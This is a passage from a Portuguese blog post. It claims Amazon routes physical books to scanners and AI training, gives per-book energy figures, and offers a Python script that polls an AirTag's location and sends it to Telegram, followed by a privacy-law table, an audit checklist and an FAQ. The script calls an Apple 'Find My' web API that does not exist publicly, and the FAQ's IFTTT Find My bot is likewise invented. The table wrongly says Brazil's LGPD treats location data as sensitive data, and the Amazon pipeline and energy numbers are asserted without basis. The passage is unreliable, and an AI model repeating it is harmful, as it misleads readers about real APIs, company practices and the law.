&lt;strong&gt;Envio ao fulfillment&lt;/strong&gt; – Rede própria da Amazon (1‑3 dias).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Triagem automatizada&lt;/strong&gt; – Robôs identificam volumes de livros e os encaminham para o &lt;strong&gt;Data Center de IA&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Digitalização&lt;/strong&gt; – Scanners de alta velocidade convertem o conteúdo em texto OCR.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Armazenamento e pré‑processamento&lt;/strong&gt; – Dados são armazenados em S3 e preparados para treinamento.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treinamento&lt;/strong&gt; – Modelos como o &lt;strong&gt;Titan&lt;/strong&gt; consomem esses textos para melhorar compreensão de linguagem.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Energia consumida (valores aproximados)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Etapa&lt;/th&gt;
&lt;th&gt;Energia média por livro&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Movimentação (recepção)&lt;/td&gt;
&lt;td&gt;0,12 kWh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transporte interno Amazon&lt;/td&gt;
&lt;td&gt;0,08 kWh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digitalização (scanner)&lt;/td&gt;
&lt;td&gt;0,05 kWh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treinamento (por 1 TB de texto)&lt;/td&gt;
&lt;td&gt;2 MWh*&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;* O consumo de treinamento varia conforme a arquitetura e a quantidade de GPUs usadas.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rastreando pacotes com AirTag via Python
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pré‑requisitos
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Conta de desenvolvedor Apple (para gerar um &lt;strong&gt;API Key&lt;/strong&gt; do &lt;em&gt;Find My&lt;/em&gt;).
&lt;/li&gt;
&lt;li&gt;Biblioteca &lt;code&gt;requests&lt;/code&gt; e &lt;code&gt;python‑telegram‑bot&lt;/code&gt;.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;requests python-telegram-bot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Código de exemplo
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;telegram&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Bot&lt;/span&gt;

&lt;span class="c1"&gt;# Configurações
&lt;/span&gt;&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;APPLE_FINDMY_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;AIR_TAG_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;YOUR_AIRTAG_UDID&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;TELEGRAM_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TELEGRAM_BOT_TOKEN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;CHAT_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TELEGRAM_CHAT_ID&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;bot&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Bot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TELEGRAM_TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_location&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.apple.com/findmy/v1/devices/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;AIR_TAG_ID&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;API_KEY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;location&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;latitude&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;location&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;longitude&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;📍 AirTag localizado: https://maps.google.com/?q=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lat&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lon&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;bot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chat_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CHAT_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_location&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;send_alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lon&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Erro:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# verifica a cada 5 minutos
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Dica prática:&lt;/strong&gt; Defina um &lt;em&gt;geofence&lt;/em&gt; (ex.: raio de 5 km ao redor do fulfillment) e envie alerta somente quando o AirTag entrar ou sair da área.  &lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Comparativo regulatório (2024)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Jurisdição&lt;/th&gt;
&lt;th&gt;Lei principal&lt;/th&gt;
&lt;th&gt;Aspectos relevantes para rastreamento logístico&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EUA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CCPA (Califórnia)&lt;/td&gt;
&lt;td&gt;Exige transparência sobre coleta de dados de localização; direito de exclusão.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GDPR&lt;/td&gt;
&lt;td&gt;Necessita de base legal (ex.: consentimento) para processar dados de localização; DPIA obrigatória para rastreamento massivo.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Brasil&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LGPD&lt;/td&gt;
&lt;td&gt;Dados de localização são “dados pessoais sensíveis”; requer consentimento explícito.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Argentina&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ley de Protección de Datos Personales&lt;/td&gt;
&lt;td&gt;Similar à LGPD; foco em finalidade e minimização.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Impacto:&lt;/strong&gt; Empresas que usam AirTags para monitorar cadeias de suprimentos devem garantir consentimento dos usuários finais e manter registros de tratamento.&lt;/p&gt;




&lt;h2&gt;
  
  
  Checklist rápido de auditoria da cadeia de suprimentos de dados
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;✅ Item&lt;/th&gt;
&lt;th&gt;Pergunta chave&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inventário&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Todos os pontos onde livros físicos são coletados e digitalizados estão mapeados?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consentimento&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Clientes deram permissão explícita para uso dos seus dados de compra em treinamento de IA?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Minimização&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apenas o conteúdo necessário (texto) é armazenado; metadados sensíveis são descartados?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Segurança&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dados em trânsito estão criptografados (TLS) e em repouso (AES‑256)?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Retenção&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Existe política clara de retenção e exclusão de dados após o ciclo de treinamento?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compliance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A empresa realizou DPIA (UE) ou avaliação de impacto (Brasil) para o processo?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Transparência&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Clientes recebem relatórios periódicos sobre como seus livros são usados?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Perguntas frequentes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pergunta&lt;/th&gt;
&lt;th&gt;Resposta curta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Posso impedir que a Amazon use meus livros para IA?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sim, solicite a exclusão dos seus dados via suporte ao cliente ou exerça seu direito de exclusão sob a LGPD/CCPA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AirTag pode ser usado para rastrear qualquer pacote?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Só funciona se o AirTag estiver dentro do pacote e o usuário tiver acesso à conta &lt;em&gt;Find My&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Qual o custo energético de treinar um modelo grande com livros?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Aproximadamente 2 MWh por terabyte de texto; um modelo como o Titan consome dezenas de MWh por ciclo de treinamento.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;É legal compartilhar a localização do fulfillment?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Depende da legislação local; nos EUA pode ser permitido com consentimento, na UE exige base legal robusta.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Como receber alertas no Telegram sem programar?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use o bot “@IFTTT” para conectar a API &lt;em&gt;Find My&lt;/em&gt; a um applet que envia mensagens ao seu chat.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;O experimento da Xataka mostrou que, com um simples AirTag, é possível mapear a rota logística da Amazon e revelar como livros físicos alimentam os gigantes de IA. O caso levanta questões críticas de privacidade, energia e regulação que exigem respostas práticas tanto de empresas quanto de consumidores.  &lt;/p&gt;

&lt;p&gt;Com o script Python acima, você já pode monitorar seus envios em tempo real; com o checklist, garante que sua organização esteja em conformidade; e com o panorama regulatório, entende onde estão os limites legais.  &lt;/p&gt;

&lt;p&gt;Fique atento, questione e, sobretudo, exija transparência na cadeia de suprimentos de dados.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://groq.com" rel="noopener noreferrer"&gt;Groq Cloud&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>viral</category>
      <category>xataka</category>
      <category>usuarios</category>
      <category>portugues</category>
    </item>
  </channel>
</rss>
